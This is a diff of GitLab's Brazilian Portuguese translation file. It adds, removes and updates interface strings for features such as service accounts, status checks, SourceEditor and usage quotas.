+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr "Selecionar ramificação"
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr "Set"
-msgid "Separate topics with commas."
-msgstr "Separe os tópicos com vírgulas."
-
msgid "September"
msgstr "Setembro"
@@ -31240,7 +31781,16 @@ msgstr "Seu repositório não possui um arquivo %{startTag}serverless.yml%{endTa
msgid "Service"
msgstr "Serviço"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr "URL de serviço"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr "Definir a data limite para %{due_date}."
msgid "Set the iteration to %{iteration_reference}."
msgstr "Define a interação como %{iteration_reference}."
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr "Define o peso para %{weight}."
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "defina uma senha"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Adicionar emoji de status"
@@ -31509,11 +32065,8 @@ msgstr ""
msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
+msgstr[0] "Configuração salva com sucesso"
+msgstr[1] "Configurações salvas com sucesso"
msgid "Settings"
msgstr "Configurações"
@@ -31525,16 +32078,16 @@ msgid "Setup"
msgstr ""
msgid "Severity"
-msgstr ""
+msgstr "Severidade"
msgid "Severity updated to %{severity}."
msgstr "severidade atualizando para %{severity}."
msgid "SeverityWidget|Severity"
-msgstr ""
+msgstr "Severidade"
msgid "SeverityWidget|Severity: %{severity}"
-msgstr ""
+msgstr "Severidade: %{severity}"
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr "Redefinir minutos usados de pipeline"
msgid "Sherlock Transactions"
msgstr "Transações de Sherlock"
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr "Se você perder seu telefone ou acessar o seu segredo de senha de uso único, cada um desses códigos de recuperação poderá ser usado uma vez para recuperar o acesso à sua conta. Guarde-os em um lugar seguro, ou você %{boldStart}irá%{boldEnd} perder o acesso à sua conta."
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr "Mostrar todas as atividades"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr "Mostrar todas as issues"
@@ -31644,18 +32221,9 @@ msgstr "Mostrar a versão mais recente"
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "Mostrar páginas acima"
-
-msgid "Show parent subgroups"
-msgstr "Mostrar subgrupos acima"
-
msgid "Show the Closed list"
msgstr "Mostra a lista fechada"
@@ -31979,7 +32547,7 @@ msgid "Solution"
msgstr "Solução"
msgid "Some changes are not shown"
-msgstr ""
+msgstr "Algumas alterações não são exibidas"
msgid "Some child epics may be hidden due to applied filters"
msgstr ""
@@ -31994,7 +32562,7 @@ msgid "Someone edited this %{issueType} at the same time you did. The descriptio
msgstr "Alguém editou este %{issueType} ao mesmo tempo que você. A descrição foi atualizada e você precisará fazer as alterações novamente."
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
-msgstr "Alguém editou este merge request ao mesmo tempo que você. Por favor, atualize a página para ver as alterações."
+msgstr "Alguém editou essa solicitação de mesclagem ao mesmo tempo que você. Por favor, atualize a página para ver as alterações."
msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Algo deu errado ao tentar mudar o estado de bloqueio desse %{issuableDisplayName}"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32102,10 +32676,7 @@ msgid "Something went wrong while fetching source branches."
msgstr "Algo deu errado ao buscar as ramificações de origem."
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
-msgstr "Algo deu errado ao buscar os ambientes para esse merge request. Por favor, tente novamente."
-
-msgid "Something went wrong while fetching the package."
-msgstr ""
+msgstr "Algo deu errado ao buscar os ambientes para essa solicitação de mesclagem. Por favor, tente novamente."
msgid "Something went wrong while fetching the packages list."
msgstr "Algo deu errado ao recuperar a lista de pacotes."
@@ -32383,9 +32954,6 @@ msgstr "Fonte (ramificação ou tag)"
msgid "Source Branch"
msgstr "Ramificação de origem"
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr "Origem não está disponível"
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32435,13 +33030,13 @@ msgid "SourcegraphAdmin|e.g. https://sourcegraph.example.com"
msgstr ""
msgid "SourcegraphPreferences|This feature is experimental and currently limited to certain projects."
-msgstr ""
+msgstr "Este recurso é experimental e atualmente limitado a determinados projetos."
msgid "SourcegraphPreferences|This feature is experimental and limited to public projects."
msgstr "Essa funcionalidade é experimental e limitado a projetos públicos"
msgid "SourcegraphPreferences|This feature is experimental."
-msgstr ""
+msgstr "Este recurso é experimental."
msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr "Usa %{linkStart}Sourcegraph.com%{linkEnd}."
@@ -32495,7 +33090,7 @@ msgid "Stage"
msgstr "Estágio"
msgid "Standard"
-msgstr ""
+msgstr "Padrão"
msgid "Star a label to make it a priority label. Order the prioritized labels to change their relative priority, by dragging."
msgstr "Coloque uma estrela em uma etiqueta para dar prioridade. Altere a ordem das etiquetas priorizadas arrastando-as para alterar sua prioridade."
@@ -32549,7 +33144,7 @@ msgid "Start a new discussion…"
msgstr ""
msgid "Start a new merge request"
-msgstr "Iniciar um novo merge request"
+msgstr "Iniciar uma nova solicitação de mesclagem"
msgid "Start a new merge request with these changes"
msgstr ""
@@ -32557,11 +33152,8 @@ msgstr ""
msgid "Start a review"
msgstr "Iniciar uma revisão"
-msgid "Start and due date"
-msgstr "Data de início e término"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
-msgstr "Comece escolhendo um grupo para explorar os merge requests naquele grupo. Você pode então filtrar por projetos, etiquetas, marcos e autores."
+msgstr "Comece escolhendo um grupo para explorar as solicitações de mesclagem naquele grupo. Você pode então filtrar por projetos, etiquetas, marcos e autores."
msgid "Start cleanup"
msgstr "Iniciar limpeza"
@@ -32621,7 +33213,7 @@ msgid "State your message to activate"
msgstr "Regitre sua mensagem para ativar"
msgid "State/Province/City"
-msgstr ""
+msgstr "Estado/Província/Cidade"
msgid "Static Application Security Testing (SAST)"
msgstr "Teste de segurança de aplicativo estático (SAST)"
@@ -32657,7 +33249,7 @@ msgid "StaticSiteEditor|Could not create merge request."
msgstr ""
msgid "StaticSiteEditor|Creating your merge request"
-msgstr ""
+msgstr "Criando sua solicitação de mesclagem"
msgid "StaticSiteEditor|Incompatible file content"
msgstr "Conteúdo de arquivo incompatível"
@@ -32704,6 +33296,9 @@ msgstr "Status:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr "Nome do serviço"
msgid "StatusCheck|Status checks"
msgstr "Verificações de status"
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -32954,7 +33561,7 @@ msgid "Subscription"
msgstr "Assinatura"
msgid "Subscription History"
-msgstr ""
+msgstr "Histórico de assinatura"
msgid "Subscription deletion failed."
msgstr ""
@@ -33365,13 +33972,13 @@ msgid "Survey Response"
msgstr ""
msgid "Switch Branches"
-msgstr ""
+msgstr "Trocar ramificações"
msgid "Switch branch"
msgstr "Trocar ramificação"
msgid "Switch branch/tag"
-msgstr "Trocar branch/tag"
+msgstr "Trocar ramificação/tag"
msgid "Switch to GitLab Next"
msgstr "Mudar para GitLab Next"
@@ -33614,7 +34221,7 @@ msgid "Template to append to all Service Desk issues"
msgstr "Modelo para anexar a todos as issues da central de serviços"
msgid "TemplateRepository|Create common files more quickly, and standardize their format."
-msgstr ""
+msgstr "Crie arquivos comuns mais rapidamente e padronize seu formato."
msgid "Templates"
msgstr "Modelos"
@@ -33755,10 +34362,10 @@ msgstr "Estados"
msgid "Terraform|Terraform init command"
msgstr "Comando init do Terraform"
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33847,7 +34454,7 @@ msgid "TestCases|Submit test case"
msgstr ""
msgid "TestHooks|Ensure one of your projects has merge requests."
-msgstr "Garanta que um de seus projetos possua merge requests."
+msgstr "Garanta que um de seus projetos possua solicitações de mesclagem."
msgid "TestHooks|Ensure the project has CI jobs."
msgstr "Garanta que o projeto possui tarefas de CI."
@@ -33862,7 +34469,7 @@ msgid "TestHooks|Ensure the project has issues."
msgstr "Garanta que o projeto possua issues."
msgid "TestHooks|Ensure the project has merge requests."
-msgstr "Garanta que o projeto possui merge requests."
+msgstr "Garanta que o projeto possui solicitações de mesclagem."
msgid "TestHooks|Ensure the project has notes."
msgstr "Garanta que o projeto possua notas."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr "O relatório de conformidade captura mudanças mescladas que violam as m
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "A conexão expirará após %{timeout}. Para repositórios que demoram mais tempo, use a combinação clone/push."
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34166,7 +34776,7 @@ msgid "The group and its projects can only be viewed by members."
msgstr "O grupo e seus projetos só podem ser visualizados por seus membros."
msgid "The group can be fully restored"
-msgstr ""
+msgstr "O grupo pode ser totalmente restaurado"
msgid "The group export can be downloaded from:"
msgstr ""
@@ -34178,7 +34788,7 @@ msgid "The group settings for %{group_links} require you to enable Two-Factor Au
msgstr "As configurações de grupo para %{group_links} exigem que você habilite a autenticação de dois fatores para sua conta. Você pode %{leave_group_links}."
msgid "The group will be placed in 'pending deletion' state"
-msgstr ""
+msgstr "O grupo será colocado no estado de 'exclusão pendente'"
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
@@ -34255,14 +34865,11 @@ msgstr "O tamanho máximo de arquivo é %{size}."
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
msgid "The merge conflicts for this merge request cannot be resolved through GitLab. Please try to resolve them locally."
-msgstr "Os conflitos de merge para esta merge request não podem ser resolvidos pelo GitLab. Por favor, tente resolvê-los localmente."
+msgstr "Os conflitos de merge para esta solicitação de mesclagem não podem ser resolvidos pelo GitLab. Por favor, tente resolvê-los localmente."
msgid "The merge conflicts for this merge request have already been resolved."
msgstr "Os conflitos de mesclagem para esta solicitação de mesclagem já foram resolvidos."
@@ -34286,7 +34893,7 @@ msgid "The number of changes to fetch from GitLab when cloning a repository. Low
msgstr ""
msgid "The number of merge requests merged by month."
-msgstr ""
+msgstr "O número de solicitações de mesclagem mescladas por mês."
msgid "The number of times an upload record could not find its file"
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr "O snippet está visível apenas para membros do projeto."
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr "A ramificação de origem será excluída"
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34496,7 +35103,7 @@ msgid "There are no closed issues"
msgstr "Não há issues fechadas"
msgid "There are no closed merge requests"
-msgstr "Não há merge requests fechados"
+msgstr "Não há solicitações de mesclagem fechadas"
msgid "There are no commits yet."
msgstr "Ainda não há commits."
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr "Ainda não existem variáveis."
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr "Existem vários limites de tamanho em vigor."
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr "Já existe um repositório com esse nome no disco"
@@ -34568,7 +35169,7 @@ msgid "There is already a to-do item for this design."
msgstr ""
msgid "There is no chart data available."
-msgstr ""
+msgstr "Não há dados gráficos disponíveis."
msgid "There is no data available."
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "Essa data é posterior à data de vencimento, portanto, esse épico não será exibido no planejamento."
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "Esta data é anterior a data de início, portanto este epic não aparecerá no planejamento."
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr "Este campo é obrigatório"
msgid "This field is required."
msgstr "Este campo é obrigatório."
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr "Este formulário está desativado na pré-visualização"
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Este é um registro de segurança de eventos importantes envolvendo a sua conta."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr "Esta é a sua sessão atual"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr "Essa issue está atualmente bloqueada pelas seguintes issues:"
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Essa solicitação de mesclagem está bloqueado."
-msgid "This merge request is still a draft."
-msgstr "Essa solicitação de mesclagem ainda é um rascunho."
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr "Este projeto ainda não tem uma página inicial na wiki"
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr "Este projeto está arquivado e não pode ser comentado."
@@ -35297,7 +35907,7 @@ msgid "This runner will only run on pipelines triggered on protected branches"
msgstr "Este executor somente será executado em Pipelines acionados em ramificações protegidas"
msgid "This service allows users to perform common operations on this project by entering slash commands in Slack."
-msgstr ""
+msgstr "Este serviço permite aos usuários executar operações comuns neste projeto, digitando comandos de barra no Slack."
msgid "This setting can be overridden in each project."
msgstr "Essa configuração pode ser substituída em cada projeto."
@@ -35356,8 +35966,8 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
-msgstr "Monitoramento de ameaças"
+msgid "Threat monitoring"
+msgstr ""
msgid "ThreatMonitoring|Alert Details"
msgstr "Detalhes de alerta"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr "Para ver os detalhes operacionais deste projeto, entre em contato com um proprietário do grupo %{groupName} para atualizar o plano. Você também pode remover o projeto do dashboard."
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr "Para configurar a autenticação SAML para o seu grupo por meio de um provedor de identidade, como Azure, Okta, Onelogin, Ping Identity ou seu provedor SAML 2.0 personalizado:"
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,32 +36645,29 @@ msgstr "Amanhã"
msgid "Too many changes to show."
msgstr "Alterações demais para mostrar."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
-msgstr "Muitos espaços de nome ativos. Você precisará gerenciá-los através do console ou da API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
+msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
-msgstr "Muitos projetos ativos. Você precisará gerenciá-los através do console ou da API."
+msgid "Too many projects enabled. Manage them through the console or the API."
+msgstr ""
msgid "TopNav|Go back"
msgstr "Voltar"
msgid "Topic %{topic_name} was successfully created."
-msgstr ""
+msgstr "O trópico %{topic_name} foi criado com sucesso."
msgid "Topic avatar"
-msgstr ""
+msgstr "Avatar do tópico"
msgid "Topic name"
-msgstr ""
+msgstr "Nome do tópico"
msgid "Topic was successfully updated."
-msgstr ""
+msgstr "Trópico foi atualizando com sucesso"
msgid "Topics"
-msgstr ""
-
-msgid "Topics (optional)"
-msgstr "Tópicos (opcional)"
+msgstr "Tópicos"
msgid "Total"
msgstr "Total"
@@ -36116,6 +36729,9 @@ msgstr "Acompanhe o tempo com ações rápidas"
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr "Transferir"
@@ -36218,7 +36834,7 @@ msgid "Trials|You won't get a free trial right now but you can always resume thi
msgstr "Você não obterá uma avaliação gratuita agora, mas pode sempre retomar esse processo selecionando seu avatar e escolhendo 'Iniciar uma avaliação do Ultimate'"
msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
-msgstr ""
+msgstr "Sua avaliação termina em %{boldStart}%{trialEndDate}%{boldEnd}. Esperamos que você esteja gostando dos recursos do GitLab %{planName}.Para manter esses recursos após o término da avaliação, você precisará comprar uma assinatura. (Você também pode escolher o GitLab Premium se ele atender às suas necessidades.)"
msgid "Trial|Company name"
msgstr "Nome da empresa"
@@ -36272,7 +36888,7 @@ msgid "Trial|We will activate your trial on your group after you complete this s
msgstr ""
msgid "Trial|Your GitLab Ultimate trial lasts for 30 days, but you can keep your free GitLab account forever. We just need some additional information to activate your trial."
-msgstr ""
+msgstr "Sua avaliação do GitLab Ultimate dura 30 dias, mas você pode manter sua conta GitLab gratuita para sempre. Precisamos apenas de algumas informações adicionais para ativar sua avaliação."
msgid "Trial|your company"
msgstr "sua empresa"
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "Tente realizar o fork novamente"
@@ -36541,9 +37163,6 @@ msgstr "Não é possível carregar o diff. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr "Formato desconhecido"
msgid "Unknown response text"
msgstr "Texto de resposta desconhecido."
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr "Usuario desconhecido"
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr "Até"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr "Atualizações"
msgid "Updating"
msgstr "Atualizando"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr "Atualizando…"
@@ -36886,6 +37508,9 @@ msgstr "Enviar imagem"
msgid "Upload license"
msgstr "Enviar licença"
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "Enviar mapa de objetos"
@@ -36895,11 +37520,8 @@ msgstr "clique para fazer upload"
msgid "Uploading changes to terminal"
msgstr "Enviando mudanças ao terminal"
-msgid "Uploads"
-msgstr "Envios"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
-msgstr ""
+msgstr "Ao realizar esta ação, o conteúdo deste grupo seu subgrupo e projetos serão excluídos permanentemente após %{deletion_adjourned_period} dias em %{date}. Até aquele momento:"
msgid "Upstream"
msgstr "Upstream"
@@ -36910,9 +37532,6 @@ msgstr "Tempo de atividade"
msgid "Upvotes"
msgstr "Votos positivos"
-msgid "Usage"
-msgstr "Uso"
-
msgid "Usage Trends"
msgstr "Tendências de uso"
@@ -36938,7 +37557,7 @@ msgid "UsageQuota|Audio samples, videos, datasets, and graphics."
msgstr "Amostras de áudio, vídeos, conjuntos de dados e gráficos."
msgid "UsageQuota|Because of a known issue, the artifact total for some projects may be incorrect. For more details, read %{warningLinkStart}the epic%{warningLinkEnd}."
-msgstr ""
+msgstr "Por causa de uma issue conhecida, o total de artefatos para alguns projetos pode estar incorreto. Para mais detalhes, leia %{warningLinkStart}o épico%{warningLinkEnd}"
msgid "UsageQuota|Buy additional minutes"
msgstr "Comprar minutos adicionais"
@@ -36959,22 +37578,16 @@ msgid "UsageQuota|File attachments and smaller design graphics."
msgstr "Anexos de arquivo e gráficos de design menores."
msgid "UsageQuota|Git repository."
-msgstr ""
+msgstr "Repositório Gif."
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
-msgstr ""
+msgstr "Inclui artefatos, repositórios, wiki, envios e outros itens."
msgid "UsageQuota|Increase storage temporarily"
msgstr "Aumentar o armazenamento temporariamente"
-msgid "UsageQuota|LFS Objects"
-msgstr "Objetos LFS"
-
-msgid "UsageQuota|LFS Storage"
-msgstr "Armazenamento LFS"
-
msgid "UsageQuota|LFS storage"
-msgstr ""
+msgstr "Armazenamento LFS"
msgid "UsageQuota|Learn more about excess storage usage"
msgstr "Saiba mais sobre o armazenamento em excesso"
@@ -36982,9 +37595,15 @@ msgstr "Saiba mais sobre o armazenamento em excesso"
msgid "UsageQuota|Learn more about usage quotas"
msgstr "Saiba mais sobre as cotas de uso"
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Pacotes"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr "Artefatos de pipeline e artefatos de tarefa, criados com CI/CD."
@@ -36997,9 +37616,6 @@ msgstr "Comprar mais armazenamento"
msgid "UsageQuota|Purchased storage available"
msgstr "Armazenamento comprado disponível"
-msgid "UsageQuota|Repositories"
-msgstr "Repositórios"
-
msgid "UsageQuota|Repository"
msgstr "Repositório"
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "Este espaço de nome não possui projetos que usam executores compartilhados"
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr "Total de armazenamento em excesso usado"
@@ -37064,7 +37668,7 @@ msgid "UsageQuota|Usage Quotas"
msgstr "Cotas de uso"
msgid "UsageQuota|Usage breakdown"
-msgstr ""
+msgstr "Análise de uso"
msgid "UsageQuota|Usage of group resources across the projects in the %{strong_start}%{group_name}%{strong_end} group"
msgstr "Uso de recursos de grupo entre os projetos no grupo %{strong_start}%{group_name}%{strong_end}"
@@ -37090,9 +37694,6 @@ msgstr "Wiki"
msgid "UsageQuota|Wiki content."
msgstr "Conteúdo da wiki."
